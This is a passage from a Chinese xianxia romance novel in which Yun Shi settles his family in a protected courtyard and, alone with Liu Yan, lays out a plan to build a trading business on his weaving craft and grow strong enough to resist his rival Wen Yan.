    他略去了温言的名字和具体纠葛,但核心矛盾清晰。


    “前些日子,我假意顺从,本想趁机彻底了断,取回一些东西,也让对方死心。没想到……”他顿了顿,看了一眼流衍,“对方手段强硬,远超预料,不仅不肯放手,反而变本加厉,甚至可能动用势力,从家人这边施压或……不利。”


    流衍适时接上,语气凝重:“云实所料不差。我此前因一些缘故,也在暗中查访相关之事,发现对方行事确无底线,且触角极广。青石镇虽偏,但并非绝对安全。那伙在路上拦截之人,看似地痞,实则难保没有受其驱使、探听风声的眼线。一旦被他们确认云实与家中的联系,后续恐有源源不断的麻烦,甚至直接危及各位安全。”


    云舒听得脸色发白,却紧紧抿着唇。林秀倒吸一口凉气,眼泪又在眼眶里打转:“这可怎么是好……我们老老实实做生意,从未得罪过谁啊……”


    云天青沉默片刻,重重一拍大腿,声音苦涩:“匹夫无罪,怀璧其罪!实儿,爹明白了。是爹娘没用,护不住你,反倒成了你的拖累……”


    “爹!”云实急忙打断,眼神恳切,“千万别这么说!是儿子不孝,学了些不该学的东西,才招来这些祸事。如今唯一能做的,就是确保你们平安。离开青石镇是不得已,但只有离开,才能暂时避开锋芒。纸鸢姐和流衍师兄都在帮忙,这里相对隐蔽,靠近天衡宗地界,寻常势力不敢轻易过来放肆。我们暂时安顿下来,再从长计议。”


    流衍也温言道:“伯父伯母且宽心。此院虽在镇外,但安全无虞。日常所需,我与纸鸢姑娘自会设法供给,绝不会短缺。云实眼下需些时间恢复元气,厘清头绪。你们便在此安心住下,只当是……换个清静地方休养一阵。”


    他的话语沉稳有力,带着一种令人信服的笃定。云天青看着眼前这两个年轻人,一个是他历经磨难、眼神已不同往昔的儿子,一个是气度不凡、明显身份不低却对儿子关怀备至的“仙师”,知道事情远非他们老两口能理解和插手。他长长吐出一口浊气,仿佛将半辈子的担忧和无力都叹了出来,最终点了点头,对林秀道:“孩子他娘,孩子们都安排好了,咱们……就听他们的吧。只要人没事,比什么都强。”


    林秀抹着泪,也点了点头,紧紧抓着云实的手:“娘听你的,娘只要你们都好好的。”


    云舒这时才开口,声音清晰:“哥,流衍师兄,有什么我能做的吗?照顾爹娘,打理这个院子,我都行。”


    云实看着妹妹,心中一暖,又有些酸楚:“舒儿,暂时先照顾好爹娘和自己。外头的事,有我和师兄。”


    流衍也道:“云舒妹妹且安心,此处阵法我已稍作加固,寻常人寻不到,也进不来。你们日常起居,无须担忧安全。”


    一番解释和安抚,总算让惊魂未定的家人稍稍稳住了心神。虽然前途未卜,但至少眼下有了遮风挡雨的屋檐,有了相对安全的屏障,更重要的是,一家人在一起,云实也安然无恙。


    流衍并未立刻离开,而是帮着云实将一些沉重的行李搬进屋内,又仔细检查了后院的水井、灶台,确认阵法运转无误。直到暮色四合,林秀和云舒开始张罗简单的晚饭,流衍才与云实走到院外的竹林边。


    此刻,只剩下他们两人。竹林沙沙作响,远处栖霞镇的灯火星星点点亮起。


    流衍转过身,看着云实。白日里在云实家人面前维持的沉稳与周全,此刻如同潮水般褪去,只剩下眼底深重得化不开的疲惫,以及那股几乎要将他淹没的、失而复得后的虚脱。他什么也没说,只是往前一步,再次伸手将云实用力地、紧紧地拥入怀中。流衍的下颌轻轻抵在云实的肩窝,呼吸深深埋入他的颈侧。


    云实彻底放松了身体,回抱住流衍精瘦却有力的腰背。他能清晰地感受到对方胸膛下同样激烈的心跳,能感觉到那细微的、几乎不易察觉的颤抖。不需要任何言语,所有的担忧、恐惧、后怕,还有劫后余生的庆幸,都在这个沉默而用力的拥抱里了。竹林沙沙,远处镇上的灯火模糊成一片温暖的光晕,世界仿佛只剩下这一隅相拥的温暖与安宁。


    过了许久,流衍才极轻地吐出一口气,手臂稍微松了些力道,却没有放开,只是微微侧头,嘴唇几乎擦过云实的耳廓,声音低得只有彼此能听见:“……下次,不许再这样。”


    没有说“不许怎样”,但云实听懂了。是不许再这样独自去冒险,不许再让他提心吊胆地等待一个不知能否安然归来的消息。


    “嗯。”云实低低应了一声,同样贴着他的耳畔,“不会了。”


    他知道这承诺未必能做到,但此刻,他愿意给出。


    流衍又静静地抱了他一会儿,才终于缓缓松开,双手却仍旧扶在他的肩臂上,借着朦胧的夜色仔细看他,目光在他脸上逡巡,仿佛在确认每一处细节都完好无损。那眼神里的关切和专注,炽热而直接,再无半分遮掩。


    云实被他看得有些耳热,却也没躲,只是抬手,用指腹轻轻擦过流衍眼下的淡青:“你也没好好休息。”


    流衍抓住他的手,握在掌心,指尖微凉,却握得很紧。


    “找不到你,如何能安睡。”他说得平淡,却字字千斤。他牵着云实的手,走到竹林边一块较为平整的青石旁坐下,依旧没有松开,“现在,说说你的打算。”


    他的语气恢复了惯常的冷静,但握着云实手指的力道,泄露了那份不愿再分离的在意。


    云实任由他牵着,另一只手无意识地拨弄着竹叶,声音在静谧的夜色里显得清晰:“躲,藏,都不是办法。温言不会放手,苏妄留下的那些谜,都像一根根看不见的线,缠着我。但光靠躲和跑,解决不了问题,反而会让在意的人一直处在阴影下。”他顿了顿,侧头看向流衍,眼中映着微光,那光里不再是迷茫或孤注一掷,而是一种沉淀下来的、清晰的算计,“我需要立足,需要本钱,需要声音。”


    流衍摩挲他手背的拇指微微一顿,专注地看向他,等他的下文。


    “纸鸢之前提过合作。”云实继续道,语气平稳,像在陈述一个斟酌已久的计划,“我要应下。先从这栖霞镇,从这翠微山周边开始。用我的织理,做些真正实用、价格又能让寻常百姓或低阶修士勉强够得着的东西。不一定是储物袋那种敏感物事,可以是更耐穿耐磨的衣物,附带一点清心、防潮、甚至极其微末防护功效的日常用品。纸鸢有门路,懂经营,也有掩盖特殊货源的办法。我们一起,慢慢把摊子铺开。”


    他望向夜色中天衡宗模糊的轮廓,眼神却仿佛穿透了山峦,看到了更远处:“赚来的钱,一部分安顿家里,让他们哪怕离了我也能过得宽裕。另一部分,攒起来。收买消息,结交一些……或许不得志、但有真本事,或者只看重利益、易于掌控的散修或边缘人物。情报,人手,甚至某些场合下的势,光靠我们两个,不够。”


    “温言以为他拿到的是全部。”云实的声音压低了些,带着一丝冰冷的嘲讽,“我交给他的那本册子,里面关于几种关键复合纹路的节点转换、还有不同属性材料适配的核心比例……我改了三处,颠倒了一处。照着他的册子做,初期或许能成,但想达到我做出的效果,或者想更进一步,只会卡死在瓶颈,甚至损毁材料。真正的关窍和后续的思路,” 他另一只手轻轻点了点自己的太阳穴,“在这里,还有一些,记在只有我自己才看得懂的草稿上,没给任何人看过。”


    他转回流衍,目光灼灼:“我要用纸鸢的渠道,把我真正改良后的、适合流通的东西慢慢打出去。让织理不再只是温言或者少数人觊觎的秘技,而是变成一种……虽然稀有,但确实在底层修士和富足凡人间流传开的手艺。知道的人多了,用它的人多了,我就没那么特殊,也没那么容易被人无声无息地吞掉。同时,我自己也能借着这个机会,接触更多材料,琢磨更多变化,赚取修炼的资源,稳稳当当地,从各个方面变强。”


    夜风吹过竹林,带来沙沙的响声。流衍沉默了许久,拇指才重新开始缓缓摩挲云实的手背,动作比之前更轻柔,也更沉。


    “纸鸢确有此意,她之前传讯,便提过合作之事,认为你的技艺不该埋没,亦有其独特价值。”他缓缓道,肯定了云实计划的基础,“此计……可行。借商行之事立足、聚财、养望,确比单纯隐匿或苦修更多辗转腾挪的余地。天衡宗附近,各方势力错综复杂,反而有利于此类不起眼的营生扎根。宗门内,我亦可留意一些可能与‘织理’相关的偏门典籍或材料线索。”


    他握紧了云实的手,语气加重:“但其中分寸,须得仔细拿捏。扩散过快,恐引人注目;所制之物功效过于突出,亦会招灾。与纸鸢合作,需明确界限,哪些可为人知,哪些必须死守。至于收买人手,更需慎之又慎,人心难测,利聚而来,利尽而散,甚至反噬其身,此类事并不少见。”


    “我明白。”云实点头,流衍的提醒让他发热的头脑更清醒了些,“所以需要慢慢来,像织布一样,一纬一经,不能乱。先做最不起眼的,打好底子。人手……先从打听消息开始,不急于招揽。真正的核心,永远只能握在自己手里。”他顿了顿,看着流衍,“这件事,我需要你帮我看着,我怕我一时急切,或者算计不够周全。”


    “好。”流衍的声音低沉而坚定,“我帮你看着。你想织一张多大的网,我便陪你一起,做那理线穿梭的梭子。但记住,”他稍稍退开,凝视着云实的眼睛,“无论网织到多大,线头要永远攥在自己手心。温言给你的教训,一次就够了。”


    “一次就够了。”云实重复道,眼神锐利如初淬的针。


    流衍侧过头,在云实唇角极轻、极快地碰了一下,如蜻蜓点水,一触即分,却在夜色中留下清晰而温存的痕迹。


    “先回去吃饭,伯母该等着了。”他率先站起身,顺势将云实也拉起来,手却依旧没有松开,牵着他,慢慢走回那亮着温暖灯火的院落。那交握的手,在夜色中成了一个无声的、坚实的承诺。